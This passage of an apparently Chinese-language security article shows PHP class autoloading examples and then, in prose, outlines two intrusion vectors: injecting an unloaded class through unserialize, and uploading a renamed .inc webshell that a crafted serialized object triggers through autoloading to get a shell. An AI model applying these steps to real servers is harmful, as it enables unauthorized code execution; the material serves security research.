//创建class文件夹，分别创建3个类库文件

<?php

//class1.class.php中

class class1{

    public function __construct(){

        echo "class1";

    }

}

?>

<?php

//class2.class.php中

class class2{

    public function __construct(){

        echo "class2";

    }

}

?>

<?php

//class3.class.php中

class class3{

    public function __construct(){

        echo "class3";

    }

}

?>

index.php文件中写入

<?php

function __autoload($classname){

    $filename = "./class/".$classname.".class.php";

    if(is_file($filename)){

        include $filename;

    }

}

$test1 = new class1();

echo '<br/>';

$test1 = new class2();

echo '<br/>';

$test1 = new class3();

//结果是

//class1

//class2

//class3

?>

PHP自动加载了class下面所有的要加载的类

0x3: spl_autoload_register() —— 注册__autoload()函数

spl_autoload_register()本质上和__autoload()是一致的，区别在于spl_autoload_register只要运行注册一次即全局有效，不需要在每个单独的文件中都声明__autoload()

<?php

// 写一个loadclass函数

// loadclass函数不具备自动加载类的功能

function loadclass($classname){

    $filename = "./class/".$classname.".class.php";

    if(is_file($filename)){

        include $filename;

    }

}

// spl_autoload_register()函数让这个loadclass具备了自动加载类的功能

spl_autoload_register("loadclass");

$test1 = new class1();

echo '<br/>';

$test1 = new class2();

echo '<br/>';

$test1 = new class3();

?>

0x4: 入侵向量

1. 反序列化注入一个注入点当前代码空间没有的类

. 如果存在反序列化注入的文件加载的class很有限，当前代码空间并不包含可以进行代码执行、或文件写入的函数

. 如果目标CMS或者框架使用了spl_autoload_register()自动加载机制，可以直接注入一个当前代码控制不存在的class

. 在反序列化对象重建的时候，PHP会帮我们自动加载引入所需的class

2. 利用自动类加载机制绕过上传限制

. spl_autoload_register函数有个特点，如果不指定处理用的函数，就会自动包含"类名.php"或"类名.inc"的文件，并加载其中的"类名"类

. 如果目标框架对上传文件进行了重命名(例如MD5)，或者不进行重命名且我们能知道上次后的文件名

. 上传webshell，后缀为.inc，被重命名为xxxx.inc

. 序列化一个类名为xxxx的类对象，生成payload后，发送给目标服务器

. 服务器反序列化这个字符串后，将会自动加载xxxx类，由于之前spl_autoload_register函数注册的方法，会自动加载xxxx.inc，从而造成文件包含漏洞，getshell成功

PHP serialize && unserialize Security Risk Research

Relevant Link:

http://honkwin.com/show/1962.html

http://php.net/manual/zh/function.autoload.php

http://my.oschina.net/alexskywinner/blog/92737

http://drops.wooyun.org/tips/10564

秒客网

PHP serialize && unserialize Security Risk Research

相关文章